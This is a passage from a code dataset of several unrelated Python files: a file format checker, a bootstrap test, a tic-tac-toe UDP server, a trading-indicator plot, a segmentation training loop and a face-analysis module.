member ID\r\nschemeID = first_row[75:85] == convert('MARIBK ')\r\nif schemeID == True:\r\n f2.write(\"Scheme member ID is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Scheme member ID is WRONG.\\n\")\r\n\r\n# 6h. Check Filler\r\nfillercheck = first_row[85:160] == convert(' '*75)\r\nif fillercheck == True:\r\n f2.write(\"Filler is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Filler is WRONG.\\n\")\r\n\r\n\r\nlast_row = convert(content_list[-1])\r\ntlrcheck = last_row[0:3] == [\"T\", \"L\", \"R\"]\r\n\r\nif tlrcheck == True:\r\n f2.write(\"Format and position of TLR is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of TLR is WRONG.\\n\")\r\n\r\nrowsnumbercheck = last_row[3:18] == convert(\"0\"*15)\r\n\r\nif rowsnumbercheck == True:\r\n f2.write(\"Format and positioning of number of records is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and positioning of number of records is WRONG.\\n\")\r\n\r\ntlrfiller = last_row[18:160] == convert(\" \"*142)\r\nif tlrfiller == True:\r\n f2.write(\"Format and position of TLR filler is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of TLR filler is Wrong.\\n\")\r\n","repo_name":"yuchenyang-96/SDIC","sub_path":"SPOwner Unmasked file check.py","file_name":"SPOwner Unmasked file check.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18691598096","text":"import pytest\nimport pandas as pd\nimport statsmodels.formula.api as sm\nfrom wildboottest.wildboottest import wildboottest\nimport numpy as np\n\n@pytest.fixture\ndef data():\n np.random.seed(12312)\n N = 1000\n k = 3\n G = 20\n # small sample size -> full enumeration\n X = np.random.normal(0, 1, N * k).reshape((N,k))\n X[:,0] = 1\n beta = np.random.normal(0,1,k)\n beta[1] = 0.005\n u = np.random.normal(0,1,N)\n Y = X @ beta + u\n cluster = np.random.choice(list(range(0,G)), N)\n X_df = pd.DataFrame(X)\n Y_df = pd.DataFrame(Y)\n cluster_df = pd.DataFrame(cluster)\n df = pd.concat([X_df, Y_df, cluster_df], axis = 1) \n df.columns = ['intercept','X1','X2','Y', 'cluster']\n\n return df\n\ndef test_results_from_same_seed(data):\n \n model = sm.ols(formula='Y ~ X1 + X2', data=data) \n\n cluster_list = [data.cluster, None]\n for x in cluster_list: \n\n # same seed used in function -> same results\n a = wildboottest(model, param = \"X1\", cluster = x, B= 999, seed=876587)\n b = wildboottest(model, param = \"X1\", cluster = x, B= 999, seed=876587)\n pd.testing.assert_frame_equal(a,b)\n \n # random seed outside of function 2x -> same results\n np.random.seed(123)\n a2 = wildboottest(model, param = \"X1\", cluster = x, B= 999)\n np.random.seed(123)\n b2 = wildboottest(model, param = \"X1\", cluster = x, B= 999)\n pd.testing.assert_frame_equal(a2,b2)\n","repo_name":"s3alfisc/wildboottest","sub_path":"tests/test_seeds.py","file_name":"test_seeds.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"43864620879","text":"import sys \ninput = sys.stdin.readline\n\nN = int(input())\ncount = 0\n\nfor hour in range(N + 1):\n if '3' in str(hour):\n count += 60 * 60\n else:\n for minute in range(60):\n if '3' in str(minute):\n count += 60\n else:\n for sec in range(60):\n if '3' in str(sec):\n count += 1\n \nprint(count)\n","repo_name":"jhu97/coding-test","sub_path":"implementation_2.py","file_name":"implementation_2.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71241445285","text":"from __future__ import division\nimport os.path as osp\nimport sys\nimport argparse\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.distributed as dist\nimport torch.backends.cudnn as cudnn\nfrom torch.nn.parallel import DistributedDataParallel\n\nfrom config import config\nfrom dataloader import get_train_loader\nfrom network import FCN\nfrom datasets import VOC\nfrom utils.init_func import init_weight, group_weight\nfrom engine.lr_policy import PolyLR\nfrom engine.engine import Engine\nfrom seg_opr.sync_bn import DataParallelModel, Reduce, BatchNorm2d\n\ntry:\n from apex.parallel import SyncBatchNorm\nexcept ImportError:\n raise ImportError(\n \"Please install apex from https://www.github.com/nvidia/apex .\")\n\ntorch.manual_seed(config.seed)\nif torch.cuda.is_available():\n torch.cuda.manual_seed(config.seed)\n\nparser = argparse.ArgumentParser()\n\nwith Engine(custom_parser=parser) as engine:\n args = parser.parse_args()\n\n cudnn.benchmark = True\n if engine.distributed:\n torch.cuda.set_device(engine.local_rank)\n\n # data loader\n train_loader, train_sampler = get_train_loader(engine, VOC)\n\n # config network and criterion\n criterion = nn.CrossEntropyLoss(reduction='mean',\n ignore_index=255)\n\n if engine.distributed:\n BatchNorm2d = SyncBatchNorm\n else:\n BatchNorm2d = BatchNorm2d\n model = FCN(config.num_classes, criterion=criterion,\n pretrained_model=config.pretrained_model,\n norm_layer=BatchNorm2d)\n init_weight(model.business_layer, nn.init.kaiming_normal_,\n BatchNorm2d, config.bn_eps, config.bn_momentum,\n mode='fan_out', nonlinearity='relu')\n\n # group weight and config optimizer\n base_lr = config.lr\n if engine.distributed:\n base_lr = config.lr * engine.world_size\n\n params_list = []\n params_list = group_weight(params_list, model,\n BatchNorm2d, base_lr)\n\n optimizer = torch.optim.SGD(params_list,\n lr=base_lr,\n momentum=config.momentum,\n weight_decay=config.weight_decay)\n\n # config lr policy\n total_iteration = config.nepochs * config.niters_per_epoch\n lr_policy = PolyLR(base_lr, config.lr_power, total_iteration)\n\n if engine.distributed:\n if torch.cuda.is_available():\n model.cuda()\n model = DistributedDataParallel(model,\n device_ids=[engine.local_rank],\n output_device=engine.local_rank)\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model = DataParallelModel(model, engine.devices)\n model.to(device)\n\n engine.register_state(dataloader=train_loader, model=model,\n optimizer=optimizer)\n if engine.continue_state_object:\n engine.restore_checkpoint()\n\n optimizer.zero_grad()\n model.train()\n\n for epoch in range(engine.state.epoch, config.nepochs):\n if engine.distributed:\n train_sampler.set_epoch(epoch)\n bar_format = '{desc}[{elapsed}<{remaining},{rate_fmt}]'\n pbar = tqdm(range(config.niters_per_epoch), file=sys.stdout,\n bar_format=bar_format)\n dataloader = iter(train_loader)\n for idx in pbar:\n engine.update_iteration(epoch, idx)\n\n minibatch = dataloader.next()\n imgs = minibatch['data']\n gts = minibatch['label']\n\n imgs = imgs.cuda(non_blocking=True)\n gts = gts.cuda(non_blocking=True)\n\n loss = model(imgs, gts)\n\n # reduce the whole loss over multi-gpu\n if engine.distributed:\n dist.all_reduce(loss, dist.ReduceOp.SUM)\n loss = loss / engine.world_size\n else:\n loss = Reduce.apply(*loss) / len(loss)\n\n optimizer.zero_grad()\n current_idx = epoch * config.niters_per_epoch + idx\n lr = lr_policy.get_lr(current_idx)\n\n for i in range(0, len(optimizer.param_groups)):\n optimizer.param_groups[i]['lr'] = lr\n\n loss.backward()\n optimizer.step()\n print_str = 'Epoch{}/{}'.format(epoch, config.nepochs) \\\n + ' Iter{}/{}:'.format(idx + 1, config.niters_per_epoch) \\\n + ' lr=%.2e' % lr \\\n + ' loss=%.2f' % loss.item()\n\n pbar.set_description(print_str, refresh=False)\n\n if epoch % config.snapshot_iter == 0:\n if engine.distributed and (engine.local_rank == 0):\n engine.save_and_link_checkpoint(config.snapshot_dir,\n config.log_dir,\n config.log_dir_link)\n elif not engine.distributed:\n engine.save_and_link_checkpoint(config.snapshot_dir,\n config.log_dir,\n config.log_dir_link)\n","repo_name":"ycszen/TorchSeg","sub_path":"model/fcn/voc.fcn32s.R101_v1c/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5173,"program_lang":"python","lang":"en","doc_type":"code","stars":1396,"dataset":"github-code","pt":"52"} +{"seq_id":"23769885010","text":"import socket\nimport sys\nimport random\n\n# Packet codes\nSERVER_FULL = 'F'\nGAME_INFO = ' '\nGAME_END = 'V'\nREGISTER = 'R'\n\n# Packet constants\nBUFLEN = 512\n\n# Board constants\nNULL_CHAR = ' '\nBOARD_ROWS = 3\nBOARD_COLS = 3\nMAX_PLAYERS = 2\n\n\nif len(sys.argv) < 2:\n print(\"usage: \")\n sys.exit()\n\n# Constants\nTURN_ERROR = \"It isn't your turn right now.\"\nINPUT_ERROR = (\"Invalid Move\\n\"\n\"Move should be M with no spaces\\n\"\n\"Example: MA1 or MB3\\n\")\nWAIT_MSG = \"You are player X. Waiting on player O to connect \\n\"\n\nROLE_PROMPT = \"You are playing as: %s\\n\"\nMOVE_PROMPT = \"Your Turn \\n\"\nVALID_ROWS = {\n 'A': 0,\n 'B': 1,\n 'C': 2\n}\nVALID_COLS = {\n '1': 0,\n '2': 1,\n '3': 2\n}\nSYMBOLS = [\n 'X',\n 'O'\n]\n\nclass Board(object):\n def __init__(self):\n self.ROLE = {}\n self.PLAYERS = []\n self.PLAY_PTR = 0\n self.NUM_PLAYERS = 0\n self.GAME_BOARD = [\n [ NULL_CHAR] * BOARD_COLS\n for _ in range( BOARD_ROWS)\n ]\n self.LINES = self.generate_lines()\n self.MOVES_LEFT = self.move_set()\n\n def move_set(self):\n moves = set()\n for row in VALID_ROWS.keys():\n for col in VALID_COLS.keys():\n moves.add(\"M\"+row + col)\n return moves\n\n def generate_lines(self):\n lines = []\n\n # rows and cols\n for row in range( BOARD_ROWS):\n temp_rows = []\n temp_cols = []\n for col in range( BOARD_COLS):\n temp_rows.append((row, col))\n temp_cols.append((col, row))\n lines.append(temp_rows)\n lines.append(temp_cols)\n\n # diagonals\n diag_a = []\n diag_b = []\n for row in range( BOARD_ROWS):\n diag_a.append((row, row))\n diag_b.append(( BOARD_ROWS - row - 1, row))\n lines.append(diag_a)\n lines.append(diag_b)\n\n return lines\n\n def add_player(self, player_id):\n self.ROLE[player_id] = SYMBOLS[self.NUM_PLAYERS]\n self.PLAYERS.append(player_id)\n self.NUM_PLAYERS += 1\n\nBOARD = Board()\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nserver_address = ('localhost', int(sys.argv[1]))\n\nprint('Network Server Starting')\n\nsock.bind(server_address)\n\ndef send_to_address(message, address):\n '''send msg btween server and clients '''\n if address != \"AI\":\n sock.sendto(message, address)\n # print(BOARD.ROLE[address]+\">\")\n\n\ndef broadcast(message):\n '''to broadcast msg to all users connected with server'''\n for address in BOARD.PLAYERS:\n send_to_address(message, address)\n\ndef is_valid_move(move):\n #return the rest of valid moves \n return(len(move) <= 3 and\n move in BOARD.MOVES_LEFT and\n move[0]=='M' and\n move[1] in VALID_ROWS and\n move[2] in VALID_COLS)\n\ndef reset():\n '''reset the all game'''\n global BOARD\n BOARD = Board()\n\ndef increment_play_order():\n '''keep tracking of clients order'''\n BOARD.PLAY_PTR += 1\n if BOARD.PLAY_PTR >= len(BOARD.PLAYERS):\n\n BOARD.PLAY_PTR = 0\n\ndef await_players():\n print(\"Waiting on Clients..\")\n #waiting clients to connect \n while BOARD.NUM_PLAYERS < MAX_PLAYERS:\n data, address = sock.recvfrom( BUFLEN)\n if address not in BOARD.ROLE:\n BOARD.add_player(address)\n\n else:\n #server full check and user inputs warinings\n send_to_address(INPUT_ERROR, address)\n print(INPUT_ERROR , address)\n # send_to_address(WAIT_MSG, address)\n print(BOARD.ROLE[address]+\"< Connected\") \n broadcast_state(address)\n\n\ndef broadcast_state(address):\n '''transmiting the game states between clients'''\n if BOARD.NUM_PLAYERS < MAX_PLAYERS:\n message = WAIT_MSG\n broadcast(message )\n print(BOARD.ROLE[address]+\">\"+WAIT_MSG)\n\n\ndef drawmapS(game_info1):\n '''draw the board in the server side'''\n print(\"board\")\n print(\" 1|2|3\")\n print(\"+\"*9)\n print(\"A|\" + game_info1[1] + \"|\" + game_info1[2] + \"|\" + game_info1[3] + \"|\")\n print(\"+\"*9)\n print(\"B|\" + game_info1[4] + \"|\" + game_info1[5] + \"|\" + game_info1[6] + \"|\") \n print(\"+\"*9)\n print(\"C|\" + game_info1[7] + \"|\" + game_info1[8] + \"|\" + game_info1[9] + \"|\")\n print(\"+\"*9)\n\n# is user try to resign ?!\ndef checkresign(move,address):\n if move ==\"R\":\n if BOARD.ROLE[address]==\"X\":\n # send_to_address( \"you lose\", address)\n broadcast(\"player O win\")\n print(\"player O win\")\n else:\n broadcast(\"player X win\")\n print(\"player X win\")\n m=\"%s is resigned\"\n broadcast(m% BOARD.ROLE[address])\n broadcast( GAME_END)\n print(\"Game Ended\")\n sys.exit()\n else:\n return False\n\ndef broadcast_game():\n game_state = [ GAME_INFO]\n for row in range(len(BOARD.GAME_BOARD)):\n for col in range(len(BOARD.GAME_BOARD)):\n game_state.append(BOARD.GAME_BOARD[row][col])\n broadcast(''.join(game_state))\n drawmapS(game_state)\n\n\ndef is_winning_set(char_set):\n '''combination od=f moves which led to win the game'''\n return ( NULL_CHAR not in char_set and\n len(char_set) == 1)\n\ndef get_winner():\n '''winner announcing fuction ''' \n for line in BOARD.LINES:\n temp = set()\n for row, col in line:\n temp.add(BOARD.GAME_BOARD[row][col])\n if is_winning_set(temp):\n return \"%s won!\" %temp.pop()\n \n #game is tie no body won \n if not BOARD.MOVES_LEFT:\n return \"Tie Game\\n\"\n\n return None\n\ndef launch_game():\n '''this func starts the game between 2 clients'''\n # broadcast(\"\\nGame on!\\n\")\n for address in BOARD.PLAYERS:\n message = ROLE_PROMPT % BOARD.ROLE[address]\n send_to_address(message, address)\n if BOARD.ROLE[address]==\"O\":\n print(BOARD.ROLE[address]+\">\"+message)\n\n # print(BOARD.PLAYERS)\n manage_board()\n\ndef prompt_player(address):\n message = (MOVE_PROMPT) \n send_to_address(message, address)\n print(BOARD.ROLE[address]+\">\"+message)\n\n#set of all moves in the game \ndef set_board_at(move, value):\n row = VALID_ROWS[move[1]]\n col = VALID_COLS[move[2]]\n BOARD.GAME_BOARD[row][col] = value\n BOARD.MOVES_LEFT.remove(move)\n\ndef point_to_move(point):\n '''points to move as x and y '''\n row, col = point[0], point[1]\n move = \"\"\n\n for key, value in VALID_ROWS.items():\n if value == row:\n move += key\n break\n\n for key, value in VALID_COLS.items():\n if value == col:\n move += key\n break\n\n return move\n\ndef moves_and_symbols_from(line):\n '''this func replace the taken place with x an O symbols'''\n line_symbols = {}\n moves = set()\n for point in line:\n symbol = BOARD.GAME_BOARD[point[0]][point[1]]\n if symbol == NULL_CHAR:\n moves.add(point_to_move(point))\n elif symbol in line_symbols:\n line_symbols[symbol] += 1\n else:\n line_symbols[symbol] = 1\n\n return moves, line_symbols\n\n# def enemy_is_winning(symbol_dict):\n# if len(symbol_dict.keys()) > 1:\n# return False\n# for key, value in symbol_dict.items():\n# if value > 1 and key != BOARD.ROLE[ AI]:\n# return True\n# return False\n\n\ndef get_move_from(player):\n '''this func check moves validations and constrictions'''\n taken=[]\n\n valid_move = None\n\n prompt_player(player)\n\n while not valid_move:\n move, address = sock.recvfrom( BUFLEN)\n print(BOARD.ROLE[address]+\"<\"+move)\n if address not in BOARD.ROLE:\n send_to_address( SERVER_FULL, address)\n print(BOARD.ROLE[address]+\">\"+SERVER_FULL)\n\n continue\n move = move.upper()\n\n if address != player:\n checkresign(move,address)\n send_to_address(TURN_ERROR, address)\n print(BOARD.ROLE[address]+\">\"+TURN_ERROR)\n\n elif move not in BOARD.MOVES_LEFT and move[0]=='M' and move[1] in VALID_ROWS and move[2] in VALID_COLS:\n send_to_address(\"spot is already taken\",address)\n print(BOARD.ROLE[address]+\">\"+\"spot is already taken\")\n\n # print(\"spot is already taken\")\n elif is_valid_move(move):\n valid_move = move\n \n elif checkresign(move,address):\n pass\n\n \n else:\n send_to_address(INPUT_ERROR, address)\n print(BOARD.ROLE[address]+\">\"+INPUT_ERROR)\n\n \n\n return valid_move\n\ndef manage_board():\n while True:\n # for each player do following steps \n active_player = BOARD.PLAYERS[BOARD.PLAY_PTR]\n print(BOARD.ROLE[active_player]+\">\")\n broadcast_game()\n\n move = get_move_from(active_player)\n set_board_at(move, BOARD.ROLE[active_player])\n increment_play_order()\n winner = get_winner()\n if winner:\n broadcast_game()\n message = \"%s\" % winner\n broadcast(message)\n print(\">\"+message)\n broadcast( GAME_END)\n print(\"Game Ended\")\n # break\n sys.exit()\n\n# main loop \nwhile True:\n reset()\n await_players()\n launch_game()\n","repo_name":"hima888/tic-tac-toe-Sokets","sub_path":"minor5server.py","file_name":"minor5server.py","file_ext":"py","file_size_in_byte":9290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33953318564","text":"\"\"\"\nTrend following\nbuying on the bull-trend and selling on the bear-trend.\nBuy: When the stock price approaches the top band and the indicator is strong-trended.\nSell: When the stock price approaches the lower band and the indicator is weak-trended.\n%b: Buy = when MFI is higher than 0.8\n Sell = when MFI is lower than 0.2\n\nMFI: Money flow index = 100 - (100 / (1+positive money flow/negative money flow))\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport Analyzer.Marketdata\nimport sys\nimport io\n\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')\n\nmkt = Analyzer.Marketdata.Marketdata()\nprint(\"Please enter company_name, year-month-date to check band\")\nname, date = map(str, input().split())\ndf = mkt.get_daily_price(''.join(name), '%s'%date)\n\ndf['MA20'] = df['close'].rolling(window=20).mean() # 20개 종가 표본으로 평균 구하기\ndf['stddev'] = df['close'].rolling(window=20).std() # stddev 칼럼으로 데이터프레임에 추가\ndf['upper'] = df['MA20'] + (df['stddev'] * 2) # 중간 볼린저밴드 + (2 * 표준편차)를 계산(상단)\ndf['lower'] = df['MA20'] - (df['stddev'] * 2) # 중간 볼린저밴드 + (2 * 표준편차)를 계산(하단)\ndf['PB'] = (df['close'] - df['lower']) / (df['upper'] - df['lower']) # (종가 - 하단밴드) / (상단밴드 - 하단밴드를 구해 %b 생성)\ndf['TP'] = (df['high'] + df['low'] + df['close']) / 3\ndf['PMF'] = 0\ndf['NMF'] = 0\n\nfor i in range(len(df.close) - 1):\n if df.TP.values[i] < df.TP.values[i+1]:\n df.PMF.values[i+1] = df.TP.values[i+1] * df.volume.values[i+1]\n df.NMF.values[i+1] = 0\n else:\n df.NMF.values[i+1] = df.TP.values[i+1] * df.volume.values[i+1]\n df.PMF.values[i+1] = 0\n\ndf['MFR'] = (df.PMF.rolling(window=10).sum() / df.NMF.rolling(window=10).sum())\ndf['MFI10'] = 100 - 100 / (1 + df['MFR'])\ndf = df[19:]\n\nplt.figure(figsize=(10, 8))\nplt.subplot(2, 1, 1)\nplt.title('%s Trend following with based bollinger band(20days, 2std)' %name)\nplt.plot(df.index, df['close'], color='#0000ff', label='Close') # x좌표 index의 종가를 y좌표로 설정해 실선 표시\nplt.plot(df.index, df['upper'], 'r--', label='Upper band') # 상단 볼린저밴드를 y좌표로 설정해 검은 실선표시\nplt.plot(df.index, df['MA20'], 'k--', label='Moving average 20')\nplt.plot(df.index, df['lower'], 'c--', label='Lower band')\n\n\nfor i in range(len(df.close)):\n if df.PB.values[i] > 0.8 and df.MFI10.values[i] > 80:\n plt.plot(df.index.values[i], df.close.values[i], 'r^')\n elif df.PB.values[i] < 0.2 and df.MFI10.values[i] < 20:\n plt.plot(df.index.values[i], df.close.values[i], 'bv')\nplt.legend(loc='best')\n\nplt.subplot(2, 1, 2)\nplt.plot(df.index, df['PB'] * 100, 'b', label = \"%B * 100\")\nplt.plot(df.index, df['MFI10'], 'g--', label = 'MFI(10 days)')\nplt.yticks([-20, 0, 20, 40, 60, 80, 100, 120])\n\nfor i in range(len(df.close)):\n if df.PB.values[i] > 0.8 and df.MFI10.values[i] > 80:\n plt.plot(df.index.values[i], 0, 'r^')\n elif df.PB.values[i] < 0.2 and df.MFI10.values[i] < 20:\n plt.plot(df.index.values[i], 0, 'bv')\n\nplt.grid(True)\nplt.legend(loc='best')\nplt.show()","repo_name":"MebukiYamashi/Quantitative_Trading","sub_path":"Plot/Trendfollowing.py","file_name":"Trendfollowing.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35359550945","text":"from torch.autograd import Variable\nfrom torchvision import transforms\nfrom .preprocessing import faceAlignment\nfrom PIL import Image\nfrom .apps import *\n# from moviepy.editor import *\n# import librosa\nimport numpy as np\nimport mediapipe as mp\nimport pandas as pd\nimport csv\n\n# device 설정. CUDA 사용가능하면 CUDA 모드로, 못 쓰면 CPU 모드로 동작\n# 단 cpu로 연산 할 경우 인식 함수 내 코드 수정 필요.\n# device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n# device = \"cuda\"\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\n# 얼굴 정보를 담을 class\nclass Face:\n def __init__(self):\n # class init\n self.rt = [-1, -1, -1, -1]\n self.sID = \"\"\n self.fvScore = -1.\n self.ptLE = [-1, -1]\n self.ptRE = [-1, -1]\n self.ptLM = [-1, -1]\n self.ptRM = [-1, -1]\n\n self.ptLED = [-1, -1]\n self.ptRED = [-1, -1]\n\n self.fYaw = -1.\n self.fPitch = -1.\n self.fRoll = -1.\n\n self.nEmotion = -1\n self.fEmotionScore = [-1, -1, -1, -1, -1, -1, -1]\n\n\n\ndef get_state_dict(origin_dict):\n old_keys = origin_dict.keys()\n new_dict = {}\n\n for ii in old_keys:\n temp_key = str(ii)\n if temp_key[0:7] == \"module.\":\n new_key = temp_key[7:]\n else:\n new_key = temp_key\n\n new_dict[new_key] = origin_dict[temp_key]\n return new_dict\n\n\n\n# 초기화\ndef Initialization():\n # face detector. OpenCV SSD\n # FD_Net = cv2.dnn.readNetFromCaffe(\"C:/Users/withmind/Desktop/models/opencv_ssd.prototxt\", \"C:/Users/withmind/Desktop/models/opencv_ssd.caffemodel\")\n FD_Net = ImConfig.FD_Net\n\n # Landmark 모델\n # Landmark_Net = LandmarkNet(3, 3)\n # # Landmark_Net = torch.nn.DataParallel(Landmark_Net).to(device)\n # Landmark_Net = Landmark_Net.to(device)\n # Landmark_Net.load_state_dict(torch.load(\"C:/Users/withmind/Desktop/models/ETRI_LANDMARK_68pt.pth.tar\", map_location=device)['state_dict'])\n # Landmark_Net.load_state_dict(torch.load(\"/home/ubuntu/projects/withmind_video/im_video/file/ETRI_LANDMARK_68pt.pth.tar\", map_location=device)['state_dict'])\n ImConfig.Landmark_Net\n\n\n # Headpose 모델\n # Headpose_Net = HeadposeNet(torchvision.models.resnet.Bottleneck, [3, 4, 6, 3], 66)\n # Headpose_Net = Headpose_Net.to(device)\n # Headpose_Net.load_state_dict(torch.load(\"C:/Users/withmind/Desktop/models/ETRI_HEAD_POSE.pth.tar\"))\n # Headpose_Net.load_state_dict(torch.load(\"/home/ubuntu/projects/withmind_video/im_video/file/ETRI_HEAD_POSE.pth.tar\"))\n ImConfig.Headpose_Net\n\n # Emotion classifier\n # Emotion_Net = EmotionNet(num_classes=7).to(device)\n # new_dict = get_state_dict(torch.load(\"C:/Users/withmind/Desktop/models/ETRI_Emotion.pth.tar\")['state_dict'])\n # # new_dict = get_state_dict(torch.load(\"/home/ubuntu/projects/withmind_video/im_video/file/ETRI_EMOTION.pth.tar\")['state_dict'])\n # Emotion_Net.load_state_dict(new_dict)\n ImConfig.Emotion_Net\n\n\n # 각 모델 evaluation 모드로 설정\n ImConfig.Landmark_Net.eval()\n ImConfig.Headpose_Net.eval()\n ImConfig.Emotion_Net.eval()\n\n return FD_Net, ImConfig.Landmark_Net, ImConfig.Headpose_Net, ImConfig.Emotion_Net\n\n\n# 얼굴검출\n# OpenCV 기본 예제 적용\ndef Face_Detection(FD_Net, cvImg, list_Face):\n del list_Face[:]\n img = cvImg.copy()\n (h, w) = img.shape[:2]\n blob = cv2.dnn.blobFromImage(cv2.resize(img, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))\n\n FD_Net.setInput(blob)\n detections = FD_Net.forward()\n\n for i in range(0, detections.shape[2]):\n # extract the confidence (i.e., probability) associated with the\n # prediction\n confidence = detections[0, 0, i, 2]\n\n # filter out weak detections by ensuring the `confidence` is\n # greater than the minimum confidence\n if confidence > 0.91:\n # compute the (x, y)-coordinates of the bounding box for the\n # object\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n # ETRIFace 클래스에 입력하여 리스트에 저장.\n # 정방 사이즈로 조절하여 저장 함.\n ef = Face()\n difX = endX - startX\n difY = endY - startY\n if difX > difY:\n offset = int((difX - difY) / 2)\n new_startY = max(startY - offset, 0)\n new_endY = min(endY + offset, h - 1)\n new_startX = max(startX, 0)\n new_endX = min(endX, w - 1)\n ef.rt = [new_startX, new_startY, new_endX, new_endY]\n else:\n offset = int((difY - difX) / 2)\n new_startX = max(startX - offset, 0)\n new_endX = min(endX + offset, w - 1)\n new_startY = max(startY, 0)\n new_endY = min(endY, h - 1)\n ef.rt = [new_startX, new_startY, new_endX, new_endY]\n\n list_Face.append(ef)\n\n # torch.cuda.empty_cache()\n\n return len(list_Face)\n\n# landmark 검출\ndef Landmark_Detection(Landmark_Net, cvImg, list_Face, nIndex):\n h, w, _ = cvImg.shape\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n yLeftBottom_in = list_Face[nIndex].rt[1]\n yRightTop_in = list_Face[nIndex].rt[3]\n xLeftBottom_in = list_Face[nIndex].rt[0]\n xRightTop_in = list_Face[nIndex].rt[2]\n\n n15 = (yRightTop_in - yLeftBottom_in) * 0.2\n xLeftBottom_in = max(xLeftBottom_in - n15, 0)\n xRightTop_in = min(xRightTop_in + n15, w - 1)\n yLeftBottom_in = max(yLeftBottom_in - n15, 0)\n yRightTop_in = min(yRightTop_in + n15, h - 1)\n\n INPUT = cvImg[(int(yLeftBottom_in)):(int(yRightTop_in)), (int(xLeftBottom_in)): (int(xRightTop_in))]\n # print(\"INPUI>>>>>>>>>>>>>>>\", INPUT)\n # 인식 좌표 정보에 얼굴 위치 보정하기 위한 값\n # offsetX = list_ETRIFace[nIndex].rt[0]\n # offsetY = list_ETRIFace[nIndex].rt[1]\n offsetX = xLeftBottom_in\n offsetY = yLeftBottom_in\n\n # if len(INPUT) != 0:\n\n # preprocessing\n w = xRightTop_in - xLeftBottom_in\n INPUT = cv2.resize(INPUT, (256, 256))\n INPUT = INPUT / 255\n ratio = w / 256\n INPUT = np.transpose(INPUT, axes=[2, 0, 1])\n INPUT = np.array(INPUT, dtype=np.float32)\n INPUT = torch.from_numpy(INPUT)\n INPUT = torch.unsqueeze(INPUT, 0)\n INPUT = INPUT.to(device)\n OUTPUT = Landmark_Net(INPUT)\n OUTPUT = torch.squeeze(OUTPUT)\n output_np = OUTPUT.cpu().detach().numpy()\n output_np = output_np * 1.1 * 256\n output_np = output_np * ratio\n\n # 좌표 보정\n for ii in range(68):\n output_np[ii * 2 + 0] = output_np[ii * 2 + 0] + offsetX\n output_np[ii * 2 + 1] = output_np[ii * 2 + 1] + offsetY\n\n leX = leY = reX = reY = lmX = lmY = rmX = rmY = nX = nY = 0\n for ii in range(36, 42, 1):\n leX = leX + output_np[ii * 2 + 0]\n leY = leY + output_np[ii * 2 + 1]\n\n for ii in range(42, 48, 1):\n reX = reX + output_np[ii * 2 + 0]\n reY = reY + output_np[ii * 2 + 1]\n\n # 눈, 입 양 끝점 저장\n list_Face[nIndex].ptLE = [int(leX / 6), int(leY / 6)]\n list_Face[nIndex].ptRE = [int(reX / 6), int(reY / 6)]\n list_Face[nIndex].ptLM = [int(output_np[48 * 2 + 0]), int(output_np[48 * 2 + 1])]\n list_Face[nIndex].ptRM = [int(output_np[54 * 2 + 0]), int(output_np[54 * 2 + 1])]\n list_Face[nIndex].ptN = [int(output_np[30 * 2 + 0]), int(output_np[30 * 2 + 1])]\n\n torch.cuda.empty_cache()\n\n return output_np\n\n # else:\n # return []\n\n\ntransformations_emotionnet = transforms.Compose(\n [transforms.Grayscale(),\n transforms.CenterCrop(128),\n transforms.ToTensor()]\n)\n\ntransformations_headposenet = transforms.Compose(\n [transforms.Resize(224),\n transforms.CenterCrop(224), transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])]\n)\n\n\ndef HeadPose_Estimation(HeadPose_Net, cvImg, list_Face, nIndex):\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n oImg = cvImg[list_Face[nIndex].rt[1]:list_Face[nIndex].rt[3], \\\n list_Face[nIndex].rt[0]:list_Face[nIndex].rt[2]].copy()\n\n # cv2.imshow(\"ZZ\", oImg)\n # cv2.waitKey(0)\n\n idx_tensor = [idx for idx in range(66)]\n idx_tensor = torch.FloatTensor(idx_tensor).to(device)\n\n PILImg = Image.fromarray(oImg)\n\n img = transformations_headposenet(PILImg)\n img_shape = img.size()\n img = img.view(1, img_shape[0], img_shape[1], img_shape[2])\n img = Variable(img).to(device)\n\n yaw, pitch, roll = HeadPose_Net(img)\n\n yaw_predicted = F.softmax(yaw)\n pitch_predicted = F.softmax(pitch)\n roll_predicted = F.softmax(roll)\n\n yaw_predicted = torch.sum(yaw_predicted.data[0] * idx_tensor) * 3 - 99\n pitch_predicted = torch.sum(pitch_predicted.data[0] * idx_tensor) * 3 - 99\n roll_predicted = 